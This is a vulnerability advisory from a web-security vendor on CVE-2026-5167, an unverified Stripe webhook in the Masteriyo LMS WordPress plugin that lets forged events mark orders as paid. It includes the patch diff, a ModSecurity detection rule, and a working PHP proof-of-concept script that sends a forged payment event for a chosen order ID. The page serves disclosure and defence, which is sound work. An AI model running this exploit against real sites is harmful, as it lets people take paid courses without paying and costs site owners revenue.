Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 4, 2026

CVE-2026-5167: Masteriyo LMS <= 2.1.7 – Unauthenticated Authorization Bypass to Arbitrary Order Completion via Stripe Webhook Endpoint (learning-management-system)

CVE ID CVE-2026-5167
Severity Medium (CVSS 5.3)
CWE 639
Vulnerable Version 2.1.7
Patched Version 2.1.8
Disclosed April 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5167: This vulnerability in the Masteriyo LMS plugin (versions up to 2.1.7) allows unauthenticated attackers to bypass Stripe webhook signature verification and mark any order as completed without payment. The flaw resides in the StripeAddon.php file’s handle_webhook() function and carries a CVSS score of 5.3.

The root cause is insufficient webhook signature validation in the handle_webhook() function, located in `learning-management-system/addons/stripe/StripeAddon.php`. In the vulnerable code (lines 565-637), signature verification occurs only when both the webhook_secret setting is non-empty AND the HTTP_STRIPE_SIGNATURE header is present. Since Setting::get_webhook_secret() defaults to an empty string, the code falls into the else branch (line 593-595) and constructs the Stripe event from the raw payload without any verification. The attacker controls the entire JSON payload, including the payment_intent.metadata.order_id value. The vulnerable flow follows: isset($_SERVER[‘HTTP_STRIPE_SIGNATURE’]) is checked but not enforced, empty($webhook_secret) is true, so $event = StripeEvent::constructFrom(json_decode($payload, true)) executes with attacker-supplied data.

An attacker can exploit this by sending a POST request directly to the WordPress AJAX endpoint at /wp-admin/admin-ajax.php with action=masteriyo_stripe_webhook. The request body contains a crafted JSON payload emulating a Stripe payment_intent.succeeded event. The payload must include a metadata.order_id value pointing to any existing order in the system. No signature header is required since the webhook secret is empty. The server processes this fake event, calls handle_payment_intent_webhook(), and completes the order without any actual payment. The attacker gains access to paid course content associated with that order.

The patch (version 2.1.8) introduces two key defensive layers. First, the new construct_and_verify_webhook_event() method (line 835-850) now throws an exception if the webhook secret is empty, requiring administrators to configure one. The get_stripe_signature_header() method (line 837-848) requires the Stripe-Signature header to be present and throws an exception if missing. Second, the new process_payment_intent_event() method (lines 887-923) adds validation before processing: it checks that the order’s payment method is ‘stripe’, and crucially compares the payment_intent.id from the webhook against the stored transaction_id in the order (line 914-917). This prevents attackers from using arbitrary order IDs because the payment intent ID must match a legitimate Stripe transaction. Additionally, verify_payment_intent_with_stripe() (lines 668-700) retrieves the payment intent directly from the Stripe API to confirm its existence and status, adding server-side verification.

If exploited, an unauthenticated attacker can mark any order as completed without payment. This grants unauthorized access to paid course content, including any lessons, quizzes, certificates, or other materials gated behind the purchase. The attacker does not need any prior authentication or knowledge of site credentials. The impact is primarily data exposure and loss of revenue, as paid content becomes available to arbitrary users who have not purchased the courses.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/learning-management-system/addons/stripe/StripeAddon.php
+++ b/learning-management-system/addons/stripe/StripeAddon.php
@@ -109,6 +109,7 @@

 		add_action( 'wp_ajax_masteriyo_stripe_connect', array( $this, 'stripe_connect' ) );
 		add_action( 'admin_head', array( $this, 'save_stripe_account' ) );
+		add_action( 'masteriyo_admin_notices', array( $this, 'show_webhook_secret_notice' ) );
 		add_filter( 'masteriyo_migrations_paths', array( $this, 'append_migrations' ) );
 	}

@@ -565,84 +566,71 @@
 		try {
 			masteriyo_get_logger()->info( 'Stripe webhook triggered.', array( 'source' => 'payment-stripe' ) );

-			$sig_header     = isset( $_SERVER['HTTP_STRIPE_SIGNATURE'] ) ? $_SERVER['HTTP_STRIPE_SIGNATURE'] : null;
-			$payload        = @file_get_contents( 'php://input' ); // phpcs:disable WordPress.PHP.NoSilencedErrors.Discouraged
-			$event          = null;
-			$order          = null;
-			$webhook_secret = Setting::get_webhook_secret();
-
-			if ( empty( $payload ) ) {
-				masteriyo_get_logger()->error( 'Stripe webhook payload is empty.', array( 'source' => 'payment-stripe' ) );
-				throw new Exception( esc_html__( 'Payload is empty.', 'learning-management-system' ), 400 );
-			}
-
-			if ( ! empty( $webhook_secret ) ) {
-				if ( empty( $sig_header ) ) {
-					masteriyo_get_logger()->error( 'Stripe webhook: Stripe-Signature header is missing.', array( 'source' => 'payment-stripe' ) );
-					throw new Exception( esc_html__( 'Stripe-Signature header is missing.', 'learning-management-system' ), 400 );
-				}
+			// Validate and parse webhook request.
+			$sig_header = $this->get_stripe_signature_header();
+			$payload    = $this->get_webhook_payload();

-				/**
-				 * Filters whether to validate the webhook secret or not.
-				 *
-				 * @since 1.14.0
-				 */
-				if ( apply_filters( 'masteriyo_stripe_validate_webhook', true ) ) {
-					$event = Webhook::constructEvent( $payload, $sig_header, $webhook_secret );
-				} else {
-					$event = StripeEvent::constructFrom( json_decode( $payload, true ) );
-				}
-			} else {
-				masteriyo_get_logger()->warning( 'Stripe webhook: no webhook secret configured, skipping signature verification.', array( 'source' => 'payment-stripe' ) );
-				$event = StripeEvent::constructFrom( json_decode( $payload, true ) );
-			}
-
-			if ( ! $event ) {
-				masteriyo_get_logger()->error( 'Stripe webhook event is null.', array( 'source' => 'payment-stripe' ) );
-				throw new Exception( esc_html__( 'Event is null.', 'learning-management-system' ), 400 );
-			}
+			// Verify webhook signature and construct event.
+			$event = $this->construct_and_verify_webhook_event( $payload, $sig_header );

-			$result = array();
-			if ( masteriyo_starts_with( $event->type, 'payment_intent' ) ) {
-				$payment_intent = $event->data->object;
+			// Process webhook event.
+			$result = $this->process_webhook_event( $event );

-				if ( ! $payment_intent ) {
-					masteriyo_get_logger()->error( 'Stripe webhook payment intent is null.', array( 'source' => 'payment-stripe' ) );
-					throw new Exception( esc_html__( 'Payment intent is null.', 'learning-management-system' ), 400 );
-				}
-
-				if ( isset( $payment_intent->metadata->order_id ) ) {
-					$order_id = $payment_intent->metadata->order_id;
-					$order    = masteriyo_get_order( $order_id );
-					$result   = $this->handle_payment_intent_webhook( $event, $order );
-				}
-			}
-			masteriyo_get_logger()->info( 'Stripe webhook completed.', array( 'source' => 'payment-stripe' ) );
+			masteriyo_get_logger()->info( 'Stripe webhook completed successfully.', array( 'source' => 'payment-stripe' ) );
 			wp_send_json_success( $result );
 		} catch ( UnexpectedValueException $e ) {
 			masteriyo_get_logger()->error( $e->getMessage(), array( 'source' => 'payment-stripe' ) );
-			if ( $order ) {
-				$order->add_order_note(
-					esc_html__( 'Stripe invalid event type.', 'learning-management-system' )
-				);
-			}
-
-			wp_send_json_error( array( 'message' => $e->getMessage() ), $e->getCode() );
+			wp_send_json_error( array( 'message' => $e->getMessage() ), 400 );
 		} catch ( SignatureVerificationException $e ) {
 			masteriyo_get_logger()->error( $e->getMessage(), array( 'source' => 'payment-stripe' ) );
-			if ( $order ) {
-				$order->add_order_note(
-					esc_html__( 'Stripe webhook signature verification failed.', 'learning-management-system' )
+			wp_send_json_error( array( 'message' => $e->getMessage() ), 403 );
+		} catch ( Exception $e ) {
+			masteriyo_get_logger()->error( $e->getMessage(), array( 'source' => 'payment-stripe' ) );
+			$http_code = in_array( $e->getCode(), array( 400, 403, 404, 500 ), true ) ? $e->getCode() : 400;
+			wp_send_json_error( array( 'message' => $e->getMessage() ), $http_code );
+		}
+	}
+
+	/**
+	 * Verify a payment intent against the live Stripe API.
+	 *
+	 * Retrieves the payment intent directly from Stripe to confirm it exists
+	 * and its status matches the webhook event, preventing forged payloads
+	 * from completing orders even if signature verification is somehow bypassed.
+	 *
+	 * @since 1.14.0
+	 *
+	 * @param string $payment_intent_id The Stripe payment intent ID.
+	 * @throws Exception If the payment intent cannot be verified.
+	 */
+	protected function verify_payment_intent_with_stripe( $payment_intent_id ) {
+		masteriyo_get_logger()->info( 'Verifying payment intent with Stripe API: ' . $payment_intent_id, array( 'source' => 'payment-stripe' ) );
+
+		try {
+			if ( Helper::use_platform() ) {
+				$response = StripeClient::create()->retrieve_payment_intent( $payment_intent_id );
+				if ( is_wp_error( $response ) ) {
+					throw new Exception( $response->get_error_message() );
+				}
+				$pi_status = isset( $response['data']['status'] ) ? $response['data']['status'] : '';
+			} else {
+				$live_intent = StripePaymentIntent::retrieve( $payment_intent_id, Helper::get_stripe_options() );
+				$pi_status   = $live_intent->status;
+			}
+
+			if ( 'succeeded' !== $pi_status ) {
+				masteriyo_get_logger()->error(
+					'Stripe webhook: payment intent ' . $payment_intent_id . ' has status "' . $pi_status . '" in Stripe, not "succeeded".',
+					array( 'source' => 'payment-stripe' )
 				);
+				throw new Exception( esc_html__( 'Payment intent verification failed: status mismatch.', 'learning-management-system' ), 400 );
 			}

-			wp_send_json_error( array( 'message' => $e->getMessage() ), $e->getCode() );
+			masteriyo_get_logger()->info( 'Payment intent verified with Stripe API.', array( 'source' => 'payment-stripe' ) );
 		} catch ( Exception $e ) {
-			masteriyo_get_logger()->error( $e->getMessage(), array( 'source' => 'payment-stripe' ) );
-			wp_send_json_error( array( 'message' => $e->getMessage() ), $e->getCode() );
+			masteriyo_get_logger()->error( 'Stripe webhook: failed to verify payment intent: ' . $e->getMessage(), array( 'source' => 'payment-stripe' ) );
+			throw $e;
 		}
-
-		exit();
 	}

 	/**
@@ -664,6 +652,12 @@

 		$payment_intent = $event->data->object;

+		// For order-completing events, verify the payment intent actually
+		// exists in Stripe and has the expected status before trusting the webhook payload.
+		if ( 'payment_intent.succeeded' === $event->type ) {
+			$this->verify_payment_intent_with_stripe( $payment_intent->id );
+		}
+
 		if ( 'payment_intent.succeeded' === $event->type && ! empty( $order->get_billing_email() ) ) {
 			try {
 				if ( Helper::use_platform() ) {
@@ -719,7 +713,7 @@
 	 * @param MasteriyoModelsOrderOrder $order Order object.
 	 */
 	protected function save_stripe_data( $event, $order ) {
-		masteriyo_get_logger()->info( 'Save stripe data method triggered: ' . print_r( $event, true ) );
+
 		if ( isset( $event->type ) ) {
 			update_post_meta( $order->get_id(), '_stripe_event_type', $event->type );
 		}
@@ -800,7 +794,7 @@
 		if ( in_array( $currency_code, $this->get_zero_decimal_currencies(), true ) ) {
 			$new_total_amount = absint( $total_amount );
 		} else {
-			$new_total_amount = (int)  masteriyo_round( $total_amount, 2 ) * 100;
+			$new_total_amount = (int) masteriyo_round( $total_amount, 2 ) * 100;
 		}

 		return $new_total_amount;
@@ -833,4 +827,190 @@
 			'XPF',
 		);
 	}
+
+	/**
+	 * Get Stripe signature header from request.
+	 *
+	 * @since 1.14.0
+	 *
+	 * @throws Exception If signature header is missing.
+	 * @return string
+	 */
+	private function get_stripe_signature_header() {
+		// phpcs:disable WordPress.Security.ValidatedInput.InputNotSanitized
+		$sig_header = isset( $_SERVER['HTTP_STRIPE_SIGNATURE'] ) ? $_SERVER['HTTP_STRIPE_SIGNATURE'] : null;
+		// phpcs:enable WordPress.Security.ValidatedInput.InputNotSanitized
+
+		if ( empty( $sig_header ) ) {
+			masteriyo_get_logger()->error( 'Stripe webhook: Stripe-Signature header is missing.', array( 'source' => 'payment-stripe' ) );
+			throw new Exception( esc_html__( 'Stripe-Signature header is missing.', 'learning-management-system' ), 400 );
+		}
+
+		return $sig_header;
+	}
+
+	/**
+	 * Get webhook payload from request body.
+	 *
+	 * @since 1.14.0
+	 *
+	 * @throws Exception If payload is empty.
+	 * @return string
+	 */
+	private function get_webhook_payload() {
+		$payload = file_get_contents( 'php://input' );
+
+		if ( false === $payload ) {
+			masteriyo_get_logger()->error( 'Stripe webhook: failed to read payload from input stream.', array( 'source' => 'payment-stripe' ) );
+			throw new Exception( esc_html__( 'Failed to read webhook payload.', 'learning-management-system' ), 400 );
+		}
+
+		if ( empty( $payload ) ) {
+			masteriyo_get_logger()->error( 'Stripe webhook payload is empty.', array( 'source' => 'payment-stripe' ) );
+			throw new Exception( esc_html__( 'Payload is empty.', 'learning-management-system' ), 400 );
+		}
+
+		return $payload;
+	}
+
+	/**
+	 * Construct and verify webhook event from payload.
+	 *
+	 * @since 1.14.0
+	 *
+	 * @param string $payload Raw webhook payload.
+	 * @param string $sig_header Stripe signature header.
+	 *
+	 * @throws Exception If webhook secret is not configured.
+	 * @throws Exception If event cannot be constructed.
+	 * @return StripeEvent
+	 */
+	private function construct_and_verify_webhook_event( $payload, $sig_header ) {
+		$webhook_secret = Setting::get_webhook_secret();
+
+		if ( empty( $webhook_secret ) ) {
+			masteriyo_get_logger()->error( 'Stripe webhook: webhook secret is not configured.', array( 'source' => 'payment-stripe' ) );
+			throw new Exception(
+				esc_html__( 'Webhook secret is not configured. Please configure the webhook secret in Stripe settings.', 'learning-management-system' ),
+				400
+			);
+		}
+
+		$event = Webhook::constructEvent( $payload, $sig_header, $webhook_secret );
+
+		if ( ! $event ) {
+			masteriyo_get_logger()->error( 'Stripe webhook event could not be constructed from the payload.', array( 'source' => 'payment-stripe' ) );
+			throw new Exception( esc_html__( 'Stripe webhook event could not be constructed.', 'learning-management-system' ), 400 );
+		}
+
+		return $event;
+	}
+
+	/**
+	 * Process webhook event and dispatch to appropriate handler.
+	 *
+	 * @since 1.14.0
+	 *
+	 * @param StripeEvent $event Stripe event object.
+	 *
+	 * @throws Exception If event type is not supported.
+	 * @return array
+	 */
+	private function process_webhook_event( $event ) {
+		if ( masteriyo_starts_with( $event->type, 'payment_intent' ) ) {
+			return $this->process_payment_intent_event( $event );
+		}
+
+		// Log unhandled event types but don't error
+		masteriyo_get_logger()->info(
+			'Stripe webhook event type not handled: ' . $event->type,
+			array( 'source' => 'payment-stripe' )
+		);
+
+		return array( 'status' => 'ignored' );
+	}
+
+	/**
+	 * Process payment intent webhook event.
+	 *
+	 * @since 1.14.0
+	 *
+	 * @param StripeEvent $event Stripe event object.
+	 *
+	 * @throws Exception If order cannot be found or validated.
+	 * @return array
+	 */
+	private function process_payment_intent_event( $event ) {
+		$payment_intent = $event->data->object;
+
+		if ( ! $payment_intent ) {
+			masteriyo_get_logger()->error( 'Stripe webhook payment intent is null.', array( 'source' => 'payment-stripe' ) );
+			throw new Exception( esc_html__( 'Payment intent is null.', 'learning-management-system' ), 400 );
+		}
+
+		// Check if metadata contains order_id
+		if ( ! isset( $payment_intent->metadata->order_id ) ) {
+			masteriyo_get_logger()->warning(
+				'Stripe webhook: payment intent ' . $payment_intent->id . ' has no order_id in metadata.',
+				array( 'source' => 'payment-stripe' )
+			);
+			return array( 'status' => 'skipped', 'reason' => 'no_order_id' );
+		}
+
+		$order_id = absint( $payment_intent->metadata->order_id );
+		$order    = masteriyo_get_order( $order_id );
+
+		if ( ! $order ) {
+			masteriyo_get_logger()->error(
+				'Stripe webhook: order not found for order_id: ' . $order_id,
+				array( 'source' => 'payment-stripe' )
+			);
+			throw new Exception( esc_html__( 'Order not found.', 'learning-management-system' ), 404 );
+		}
+
+		if ( 'stripe' !== $order->get_payment_method() ) {
+			masteriyo_get_logger()->error( 'Stripe webhook: order payment method is not Stripe.', array( 'source' => 'payment-stripe' ) );
+			throw new Exception( esc_html__( 'Invalid payment method for order.', 'learning-management-system' ), 400 );
+		}
+
+		$stored_payment_intent_id = $order->get_transaction_id();
+		if ( empty( $stored_payment_intent_id ) || $stored_payment_intent_id !== $payment_intent->id ) {
+			masteriyo_get_logger()->error(
+				'Stripe webhook: payment intent ID does not match stored transaction ID for order ' . $order_id,
+				array( 'source' => 'payment-stripe' )
+			);
+			throw new Exception( esc_html__( 'Payment intent ID mismatch.', 'learning-management-system' ), 400 );
+		}
+
+		return $this->handle_payment_intent_webhook( $event, $order );
+	}
+
+	/**
+	 * Show admin notice if Stripe is enabled but webhook secret is not configured.
+	 *
+	 * @since x.x.x
+	 */
+	public function show_webhook_secret_notice() {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			return;
+		}
+
+		if ( ! Setting::is_enable() ) {
+			return;
+		}
+
+		if ( ! empty( Setting::get_webhook_secret() ) ) {
+			return;
+		}
+
+		$settings_url = admin_url( 'admin.php?page=masteriyo#/settings?first=payments&second=payment-methods' );
+
+		printf(
+			'<div class="notice notice-warning"><p><strong>%s</strong> %s <a href="%s">%s</a>.</p></div>',
+			esc_html__( 'Masteriyo Stripe:', 'learning-management-system' ),
+			esc_html__( 'Stripe webhook verification is now required (v2.1.8+). Add your webhook secret to ensure payments process correctly.', 'learning-management-system' ),
+			esc_url( $settings_url ),
+			esc_html__( 'Configure it in Stripe settings', 'learning-management-system' )
+		);
+	}
 }
--- a/learning-management-system/assets/js/build/masteriyo-backend.asset.php
+++ b/learning-management-system/assets/js/build/masteriyo-backend.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-editor', 'wp-element', 'wp-format-library', 'wp-hooks', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-url', 'wp-viewport'), 'version' => '945bdba5b0317ffc9927');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-editor', 'wp-element', 'wp-format-library', 'wp-hooks', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-url', 'wp-viewport'), 'version' => '669a7d29ea333a225bcf');
--- a/learning-management-system/assets/js/build/masteriyo-interactive.asset.php
+++ b/learning-management-system/assets/js/build/masteriyo-interactive.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-data', 'wp-date', 'wp-i18n', 'wp-polyfill'), 'version' => '65f3534395ca583604d1');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-data', 'wp-date', 'wp-i18n', 'wp-polyfill'), 'version' => '34f5471f91d01e7fb2b6');
--- a/learning-management-system/lms.php
+++ b/learning-management-system/lms.php
@@ -5,7 +5,7 @@
  * Description: A Complete WordPress LMS plugin to create and sell online courses in no time.
  * Author: Masteriyo
  * Author URI: https://masteriyo.com
- * Version: 2.1.7
+ * Version: 2.1.8
  * Requires at least: 6.5
  * Requires PHP: 7.4
  * Text Domain: learning-management-system
@@ -46,7 +46,7 @@
 }

 if ( ! defined( 'MASTERIYO_VERSION' ) ) {
-	define( 'MASTERIYO_VERSION', '2.1.7' );
+	define( 'MASTERIYO_VERSION', '2.1.8' );
 }

 if ( ! defined( 'MASTERIYO_PLUGIN_FILE' ) ) {
--- a/learning-management-system/uninstall.php
+++ b/learning-management-system/uninstall.php
@@ -20,7 +20,7 @@
 defined( 'WP_UNINSTALL_PLUGIN' ) || exit;

 defined( 'MASTERIYO_SLUG' ) || define( 'MASTERIYO_SLUG', 'learning-management-system' );
-defined( 'MASTERIYO_VERSION' ) || define( 'MASTERIYO_VERSION', '2.1.7' );
+defined( 'MASTERIYO_VERSION' ) || define( 'MASTERIYO_VERSION', '2.1.8' );
 defined( 'MASTERIYO_PLUGIN_FILE' ) || define( 'MASTERIYO_PLUGIN_FILE', __FILE__ );
 defined( 'MASTERIYO_PLUGIN_BASENAME' ) || define( 'MASTERIYO_PLUGIN_BASENAME', plugin_basename( MASTERIYO_PLUGIN_FILE ) );
 defined( 'MASTERIYO_PLUGIN_DIR' ) || define( 'MASTERIYO_PLUGIN_DIR', dirname( MASTERIYO_PLUGIN_FILE ) );
--- a/learning-management-system/vendor/composer/installed.php
+++ b/learning-management-system/vendor/composer/installed.php
@@ -1,8 +1,8 @@
 <?php return array(
     'root' => array(
         'name' => 'masteriyo/masteriyo',
-        'pretty_version' => '2.1.7',
-        'version' => '2.1.7.0',
+        'pretty_version' => '2.1.8',
+        'version' => '2.1.8.0',
         'reference' => null,
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
@@ -110,8 +110,8 @@
             'dev_requirement' => false,
         ),
         'masteriyo/masteriyo' => array(
-            'pretty_version' => '2.1.7',
-            'version' => '2.1.7.0',
+            'pretty_version' => '2.1.8',
+            'version' => '2.1.8.0',
             'reference' => null,
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-5167
# Blocks forged Stripe webhook events from unauthenticated sources
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20265167,phase:2,deny,status:403,chain,msg:'CVE-2026-5167 - Masteriyo LMS Stripe webhook bypass attempt detected',severity:'CRITICAL',tag:'CVE-2026-5167'"
  SecRule ARGS_POST:action "@streq masteriyo_stripe_webhook" "chain"
    SecRule REQUEST_BODY "@rx types*:s*payment_intent.succeeded" "chain"
      SecRule REQUEST_BODY "@rx order_ids*:s*d+" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5167 - Masteriyo LMS <= 2.1.7 - Unauthenticated Authorization Bypass to Arbitrary Order Completion via Stripe Webhook Endpoint

// Configuration
$target_url = 'http://example.com/wp-admin/admin-ajax.php';  // Change to target WordPress site
$order_id = 123;  // Target order ID to mark as completed

// Craft the Stripe webhook payload as a fake payment_intent.succeeded event
$payload = json_encode([
    'id' => 'evt_fake_' . bin2hex(random_bytes(8)),
    'type' => 'payment_intent.succeeded',
    'data' => [
        'object' => [
            'id' => 'pi_fake_' . bin2hex(random_bytes(8)),
            'object' => 'payment_intent',
            'amount' => 1000,
            'currency' => 'usd',
            'status' => 'succeeded',
            'metadata' => [
                'order_id' => $order_id
            ]
        ]
    ]
]);

echo "[+] Sending forged Stripe webhook to: $target_urln";
echo "[+] Target order ID: $order_idn";
echo "[+] Payload: $payloadnn";

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-Requested-With: XMLHttpRequest'  // Mimic WordPress AJAX request
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if (curl_errno($ch)) {
    echo "[!] cURL error: " . curl_error($ch) . "n";
} else {
    echo "[+] HTTP response code: $http_coden";
    echo "[+] Response body: $responsen";
    
    if ($http_code === 200) {
        echo "n[SUCCESS] Exploit succeeded! Order $order_id should now be marked as completed.n";
        echo "[SUCCESS] Attacker may now access course content without payment.n";
    } elseif ($http_code === 500) {
        echo "[!] Server error - may indicate partial processing.n";
    } else {
        echo "[!] Exploit may have failed. Check response for details.n";
    }
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School